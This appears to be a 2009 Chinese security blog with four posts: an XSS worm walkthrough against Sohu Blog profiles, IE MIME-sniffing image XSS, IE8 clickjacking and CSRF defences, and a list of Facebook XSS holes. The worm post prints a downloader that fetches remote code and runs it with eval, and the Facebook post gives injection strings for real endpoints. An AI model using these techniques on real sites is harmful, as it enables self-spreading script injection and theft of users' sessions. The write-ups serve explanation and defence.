2009年5月9日星期六
完整的XSS worm网站入侵实例
1. 测试过滤字符，下面都是构造XSS所需要的关键字符(未包含全角字符，空格是个TABLE，\/前是真正的空格)，在个人档案处看过滤了哪些。
’’;:!--"
结果
’’;:!--"=&#{()} // (&后是amp，论坛过滤了)
过滤了"javascript"，"&"和"\"这两个转义字符串，因此HTML转码和CSS样式转码已无效，只好从属性和事件入手。
2. 测试一个XSS常用属性和两个事件，貌似没有过滤字符。
expression
onerror
onload
3. 下面开始尝试构造语句。如下：
 |
构造完整标记，页面输出后又全部过滤。
4. "/"字符没有过滤因此可以构造/*xxxx*/注释符，expression属性可以配合注释符构造出语句：
5. 由于expression属性比较特殊想当于一个死循环的EVAL函数，同时style标记里不能出现";"字符，也就是不能构造多条连接在一起的javascript，因此构造出如下语句：
| < |
设置一个COOKIE在10秒后失效，并在这条COOKIE语句中执行其他语句或函数。
6. 遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤，因此我们无法eval标记内的某个变量，于是采用fromCharCode方法，将Unicode字符值专成字符串再用eval函数执行：
7. 感染流程考虑：
㈠ BLOG页面的个人档案处是页面通用的
㈡ XSS内容写到个人档案处，所有浏览者都会触发XSS
㈢ 实现一段提交XSS内容到个人档案的代码.
8. 个人档案处只能输入2048个字符，又采用了fromCharCode方法，因此出现XSS代码长度的限制，因此只能调用远程代码，于是写出了个XSS downloader。
主要代码：
| function d(){ a=new ActiveXObject(’Microsoft.XMLHTTP’); /*调用XMLHTTP控件 a.Open(’get’，http://s0n9.blog.sohu.com/31406970.html’，false);/*发出一个GET提交请求 a.send(); b=a.responseText; /*将传回值赋给变量B eval(unescape(b.substring(b.indexOf(’--|’)+3，b.indexOf(’|--’)))); /*用indexOf计算 --|********|-- 的位置，用substring方法取出字符串，最后用unescape方法解码. }d() |
http://s0n9.blog.sohu.com/31406970.html 页面代码:
alert%28%27xss%27%29%3B
/*利用escape将标点符号转码，由于responseText特性，某些字符会转换，如"&"字符会变成"&"(&后是amp，论坛过滤了)
其他传染和详细的伪造提交的过程略去，各门户网站小心，过滤好XSS关键字，以防止XSS WROM爆发 。
2009年2月28日星期六
基于IE的MIME sniffing功能的跨站点脚本攻击
一、危险的MIME sniffing功能
对于Web 2.0应用程序来说，允许用户上载图像是一项基本的要求。但是，IE用户面对这些图片时却要小心了，因为IE的某些功能会为利用图片进行跨站点脚本攻击大开方便之门。
虽然许多大型站点都设法保护其访问者免受可能的JavaScript攻击，例如实现专门用于防御活动内容的过滤器等，但是他们却无法跟活动内容一刀两断，因为对于个人简介、博客和论坛来说，JavaScript、HTML 代码和Flash小应用程序是不可或缺的活动内容。此外，大部分交互型站点都允许用户上载和链接他们的图片，但是攻击者却可以利用此功能来颠覆IE为保证兼容性和提供额外的安全性而引入的某些功能。攻击者只需在图像的开头部分嵌入一些HTML代码和JavaScript，那么当IE打开这个做过手脚的图像时，浏览器所做的不是显示图像，而是检测并运行图像中嵌入的代码。
之所以出现这种情况，是因为浏览器可以用来确定文件类型的方式多种多样，例如文件扩展名jpg可以指出一个图像为JPEG格式，此外Web服务器还可以在HTTP报头中定义Content-Type（在本例中为image/jpg），但是一般说来使用上载的文件的文件名扩展部分来指出文件的类型。最后，大多数 Web 浏览器还会检查一个文件的开始几个字节（即通常所说的文件的“签名”），这几个字节通常为一些众所周知的字节序列，例如PNG、PK、JPEG、JFIF等等。迄今为止，我们介绍了浏览器可以确定文件内容类型的三种方法，即通过文件本身的扩展名或文件开头部分的签名，或通过服务器响应报头Content-Type来确定文件类型。
不过，后来IE4引入了第四种方法，即通常所说的MIME sniffing或者MIME类型检测方法。所以，现在的IE版本都不自动地假定来自web的文件的内容类型就是服务器在HTTP报头中的所声明的内容类型。IE浏览器既不信任文件名扩展部分，也不信任签名，相反，它是通过检查文件开头的256字节内容来确定文件的类型。然而，只有当用户直接调用URL下载文件时IE才这样做。当使用IE打开HTML中的图像标签(IMG)所连接的本地存储的文件或者图像的时候，则不会进行嗅探。
IE引入MIME sniffing功能的初衷是用来提防服务器给出的错误内容类型指示的，但是攻击者却利用它来规避IE中的安全防御功能，即防止浏览器自动地执行所下载的文件（如hta文件）的那些功能。此外，MIME sniffing还使得浏览器能够容忍在Content-Type声明中的偶然性错误，例如，如果服务器声明某文件类型为text/plain文件，然而实际提供的却是一个HTML文件，那么IE将它作为HTML处理。
对于常见的GIF、JPEG和PNG格式，只要文件扩展名、Content-Type和签名所指的类型相一致，那么浏览器就会对MIME sniffing所得到的结果置之不理。只有当文件扩展名、Content-Type和签名所指的类型有出入时，IE才会以MIME sniffing所确定的结果为准。
二、倒打一耙的MIME sniffing功能
现在，如何保护用户免受恶意服务器的侵害与如何为不正确地配置服务器的管理员提供有效帮助已经成为Web 2.0所面临的一大问题。 如果文件的扩展名、Content-Type和签名相抵触，那么浏览器会以内容为准。所以，如果一幅图片的开头部分为一些HTML代码的话，虽然乍一看好像是无害的，但是实际上却可能相当危险，因为IE会执行图片中的代码。这为攻击者把JavaScript嵌入图像提高了一个机会，所以他们可以利用这种方式执行跨站点脚本攻击，使用精心制作的图像来窃取受害者在当前访问的服务器上的身份验证cookie，然后以受害者的身份登录到那个服务器。
三、援兵未至
微软公司已经认识到这个问题，并计划IE的新版本中加以修复。IE8不再探测图像，因此，它会忽略嵌入的HTML。此外，对于特定的下载，还可以通过为私有的Content-Type以及authoritative指定值来关掉MIME sniffing功能，例如content-type=text/html; authoritative=true;。然后，IE会把文件当作服务器指出的类型来处理。
关键情况下，可以使用新的“X-Download-Options: noopen”头部来确保在站点上下文的外部显示相应的文件，这意味着即使HTML文件也能够安全的投递，因为浏览器只是将文件保存起来而已。遗憾的是，IE8要想全面替代其他版本的IE尚需时日，在此之前，Web站点对此还是指望不上的。
四、急救措施
实际上，如今想要抵挡这些精心制作的文件也并非难事。自Windows XP SP2以来，用户已能禁用IE中的MIME sniffing功能，方法是打开浏览器的“工具”菜单中选择“Internet 选项”，点击“安全”选项卡，在“请为不同的区域的Web内容指定安全设置（z）”下面选择“Internet”图标，在“该区域的安全级别（L）”下面点击“自定义级别”按钮，最后启用“基于内容打开文件，而不是文件扩展名”选项即可。然而，这样做会重新开放一些以前的古老漏洞！这是否能够提供安全性只能够靠实践来证明。我们的重点不应该放在在用户间推广这个技巧，而是应该设法让web服务应用提供安全保障措施来保护访问者，并确保Web服务提供方的系统不向用户传送精心制作的图像。
管理员可以使用脚本检查上传到其服务器中的文件的类型的一致性。举例来说，如果某图像的文件名扩展部分为.jpg，并且文件起始字节部分的签名也指出是相同的类型（在Linux下可以使用file image.jpg命令，而在PHP中可以使用getimagesize加以印证），经过上述验证后，服务器才能发出该文件。这样，即使文件包含HTML 代码，IE也不会执行这些代码。然而要注意的是，通过这种方式只能保护图像的安全，同时服务器声明的Content-Type必须完全正确才行。 这个方法对其它格式均不起作用。
然而，要想达到绝对的可靠性，需要检查文件的前256字节是否HTML 代码。IE使用常见的
等等标签来识别HTML代码。如果在文件的前256字节中没有发现任何标签的话，微软的浏览器就无法解释该文件了。管理员也可以这样配置服务器，当文件被下载（而非打开）时，服务器总是发出头部“Content-disposition: attachment; filename="”。 这样就能防止浏览器在该站点的上下文中打开此文件，而是使用本地链接的应用程序来打开此文件，但是这样做会使用户感觉很不爽。 遗憾的是，这种头部重写技术只对那些不允许直接访问文件的用户有效。鉴于此，所上传的文件的存储位置不应该位于可公开访问的地方，并且最好为文件随机命名。
实际上，最有效的方法是使用ImageMagick或者类似的工具来转换图像文件的格式。这能从图像中清除掉所有代码段，从而彻底摆脱这些代码为用户带来的威胁。像Facebook和Twitter这样的大型站点会对用户上传的肖像照片进行转换，但是必须小心行事，因为这有可能打开另一个攻击方式。例如，如果某人在ImageMagick中发现了一个缓冲区溢出问题，那么攻击者可能进行一番尝试，并找到一种利用特制的相片来利用该问题的方法。
五、总结
MIME sniffing功能本是IE的忠诚卫士，谁知他如今突然“倒戈”，助纣为虐来危害IE用户。对策当然是有，但是这些对策是否靠谱却是个悬而未解决的问题。目前，通过图像发动的跨站点脚本攻击看起来还不太常见，但是世界正在发生急剧的改变：交互型网站正在变成犯罪的首选目标。好在，我们还可以使用其它的浏览器，例如Firefox等，这倒不失为一个补救措施。当然Firefox也进行MIME sniffing，但是它却不会莫名其妙地将图像作为HTML进行解释。
2009年2月10日星期二
IE8与点击绑架和CSRF的攻防战
那么，IE8能否为我们的Web安全带来一缕清风吗？
一、Web安全形势日益严峻
据微软称，IE8在开发过程中就考虑到了已有的和正在浮现的各种Web威胁。
在各种Web应用程序安全性漏洞中，最阴险的漏洞之一 称为跨站请求伪造（CSRF），人们将其称为Web漏洞中“沉睡的巨人”，并且这种漏洞修补起来也颇为不易。浏览器安全模型的设 计思想是允许多个网站同时交互、站点之间可以无缝浏览，而CSRF攻击恰恰就是利用了这一点。
随着个人数据等有价值的信息不断 从最终用户的PC向流行的Web应用程序迁移，CSRF及其他Web 应用程序漏洞将日益受到人们的关注。
二、XDomainRequest对象应运而生
为了抵抗CSRF攻击，IE8引入了一个XDomainRequest对象，它在允许以服务器权限跨域通信的同时还包含一些防御CSRF攻击的特殊 限制。最终用户可以通过在不使用web应用的时候退出敏感的网站以及使用InPrivate Browsing会话浏览页面来减轻CSRF攻击的影 响，因为InPrivate会话会清空Cookie，所以无法通过CSRF攻击来替换缓存的Cookie。
然而，Web应用程序本身必须设计成能够防御CSRF攻击。设计良好的Web应用程序经常通过挑战/令牌或者类似的策略来检查非受害 者用户本意发出的恶意请求来自我保护。遗憾的是，挑战/令牌和类似的策略本身却受到某些漏洞的影响，其中第一种漏洞是跨站 点脚本攻击（XSS）。如果一个由令牌保护的Web应用程序包含一个跨站点脚本攻击安全漏洞，那么它很可能会由于安全令牌失窃而导致CSRF攻击。
幸运的是，IE8包含一个XSS过滤器和一些其他功能，可以帮助抵御XSS攻击，从而降低令牌失窃的几率。除此之外，还可以利用点击劫持来协助实施 CSRF攻击。点击劫持可以使用户在不知不觉中单击一个模糊的或者隐藏的web元素，从 而导致非本意的处理。一次成功的点击劫持攻击可以轻易化解通过使用户确认其交易的CSRF保护措施。
举例来说，如果一个网络商 店使用Cookie来进行身份验证，并提供了一键购买服务。 IE8显示一个模拟的web购物站点，下面是其中一张膝上型计算机的图片：
 498)this.style.width=498;" onmousewheel="javascript:return big(this)" alt="" src="http://new.51cto.com/files/uploadimg/20090210/1028560.jpg" border="0"> |
| 图1 |
 498)this.style.width=498;" onmousewheel="javascript:return big(this)" alt="" src="http://new.51cto.com/files/uploadimg/20090210/1028561.jpg" border="0"> |
| 图2 |
 498)this.style.width=498;" onmousewheel="javascript:return big(this)" alt="" src="http://new.51cto.com/files/uploadimg/20090210/1028562.jpg" border="0"> |
| 图3 |
上面是一个恶意的页面，显示的文本表明用户已经购买了一个膝上型计算机。 当然，这里只是一个非常简单的点击劫持攻击，但是比这复杂的点击劫持攻击也是存在的。
为了缓解点击劫持之痛，人们提出了许多方法，但是它们必须在兼容性和用户体验目前做一些折中，或者需要对现有标准作重大修 改。目前，使用最广泛也是最简单的抵御点击劫持攻击的方案称为frame busting技术，它能防止有弱点的页面被框架化，例如防 止页面被iframe引用。遗憾的是，frame-busting机制通常需要用到脚本，但是我们知道绕过脚本不是不可能的。
三、X-FRAME-OPTIONS如何抗击点击绑架
点击绑架漏洞是由Jeremiah Grossman及Robert Hansen在去年9月首度揭露，该漏洞可让骇客仿造合法网页，并将伪造的透明网页 覆盖于合法网页之上，因此使用者以为是在合法网页上的鼠标点击，实际上是触发了恶意网页的指令。
如果攻击者伪造的是网络银 行网页，那么使用者也许只是按了某一个网页链接，却可能是将钱转到陌生的帐户中，黑客也可通过此漏洞让使用者下载恶意程序 或是执行任何功能。 IE8引入了一种防止页面被框架化的机制来降低点击劫持所带来的危害。
Web开发人员可以为返回的HTML页面添加一个名为的HTTP应 答头，以规定该页面是否可以被嵌入在iframe里面。如果X-FRAME-OPTIONS的值为DENY，那么IE8就不允许该页面包含在一个框架中 。如果其值为SAMEORIGIN，那么只有在顶级浏览内容与包含X-FRAME-OPTIONS的内容不同源时，IE才会阻止该页面。
举例来说，如果http://shop.example.com/confirm.asp包含一个DENY伪指令，那么该页面就无法放入一个子框架中，无论父框架位于何处。相 反，如果X-FRAME-OPTIONS伪指令的值为SAMEORIGIN，那么该页面就可以放入到任何来自http://shop.example.com的页面的框架中。
当X-FRAME-OPTIONS阻止显示某页面时，浏览器会弹出一个本地错误页面，说明有关限制，并提供一个链接，该链接将在一个新的 窗口中打开框架。当在一个新的窗口中显示，而非在子框架中显示的话，那么页面内容也就无法为点击劫持所用了。
 498)this.style.width=498;" onmousewheel="javascript:return big(this)" alt="" src="http://new.51cto.com/files/uploadimg/20090210/1028563.jpg" border="0"> |
| 图4 |
上面是一个恶意的页面，然而，这时候仅仅展示了猫图片，来自实际的webshop的订单按钮却没有显示出来。其中的错误信息指示 ，内容无法在框架中显示。
通过使用X-FRAME-OPTIONS伪指令，Web开发人员可以立即帮助IE8用户减轻来自各种Web 应用程序攻击的威胁。当然，我们希望其 它浏览器也能实现这种X-FRAME-OPTIONS伪指令，因为作为一种防御点击劫持的手段，它相对易于部署，并且兼容性也很好。
四、Web安全任重而道远
虽然微软宣称修补了点击劫持漏洞，但这不是立竿见影的方法，因为它要求网站及Web开发人员的配合，而不是直接保护web用户的 安全。此外，要想让所有网站都采用微软的机制，可能还要有很长的路要走。还有，微软提供的解决方案是非跨平台的，也就是说 ，只对IE8有效。目前出炉的另一个解决方案为针对Mozilla Firefox设计的NoScript外挂程序，该程序可关闭脚本功能并阻挡利用 框架的攻击。
2009年2月6日星期五
详解Facebook最新高危XSS安全漏洞
Facebook在2008年12月15日与2009年1月4日被曝出一系列高危XSS安全漏洞，Facebook众多的功能同时遭受牵连，如新用户注册、iPhone登录、密码重新设定，等等。
攻击者能够利用这些XSS漏洞攻击数以百万计的Facebook用户，例如散播恶意软件、广告软件和间谍软件等等。拜这些高危跨站点脚本攻击漏洞所 赐，Facebook用户可能受到钓鱼攻击并导致ID失窃。截至本月5号为止，这些漏洞尚未得到修复，这些高危漏洞已经对用户的隐私构成了高度的威胁。
安全研究人员最近发现的有XSS漏洞的页面包括，开发人员页面、新用户注册页面、iphone登录页面以及应用程序页面。攻击者能够利用这些XSS 漏洞攻击数以百万计的Facebook用户，例如散播恶意软件、广告软件和间谍软件等等。对于用户来说，为了远离这些威胁的攻击最好不要接受不认识的人员 加为好友的请求，千万不要点击不明来源的链接。
原因是Facebook的个人概况中包含了许多个人信息，“好友”通过则这些信息足以发动有针对性的钓鱼攻击，或者向您发送有针对性的垃圾邮件。但 是如果您点击了一个共享链接结果会怎样呢？很明显，对他们来说，您就不会有什么隐私了！！！为了安全和隐私起见，一定要注意您在社交网络上的个人简介。
下面我们对这些最新漏洞分析进行介绍：
1号XSS漏洞：
所在位置：http://www.new.facebook.com/r.php
问题页面的镜像：http://www.xssed.com/mirror/50947/
攻击性POST：reg_email__="onmouseover="alert('XSS - ZJ')"foo="bar
2号XSS漏洞
所在位置：
https://login.facebook.com/login.php?iphone&next=http%3A%2F%2Fiphone.facebook.com%2F
问题页面的镜像：http://www.xssed.com/mirror/53885/
攻击性POST：
email=biz%22%3E%3Cscript%3Ealert%28%27tohellwithgeorgia%27%29%3C%2Fscript%3E%3C%22&pass=greetz2evilghost&next=http%3A%2F%2Fiphone.facebook.com%2F&login=Login
3号XSS漏洞
所在位置及攻击字符串：
http://apps.facebook.com/blognetworks/searchpage.php?tag=%22%3E%3Cscript%3Ealert(%22DaiMon%22)%3C/script%3E
问题页面的镜像：http://www.xssed.com/mirror/55268/
4号XSS漏洞：
所在位置：http://developers.facebook.com/tools.php?fbml
问题页面的镜像：http://www.xssed.com/mirror/55392/
攻击性POST：
profile=1299125444&position=wide&api_key=%27%22%3E%3C%2Ftitle%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E%3E%3Cmarquee%3E%3Ch1%3EXSS+by+p3lo%3C%2Fh1%3E%3C%2Fmarquee%3E+&fbml=
Hey you all! Our best wishes for 2009!!! :) ;)
5号XSS漏洞：
这是Facebook的Reset Password页面近期再次出现危险的跨站点脚本攻击安全漏洞。恶意用户可以网其中诸如代码并窃取数以百万计的Facebook用户的敏感个人信息。但愿这个漏洞能够得到迅速修复，好在以前他们的反应还是很迅速的。
问题页面的镜像：
http://www.xssed.com/mirror/55951/
快照：
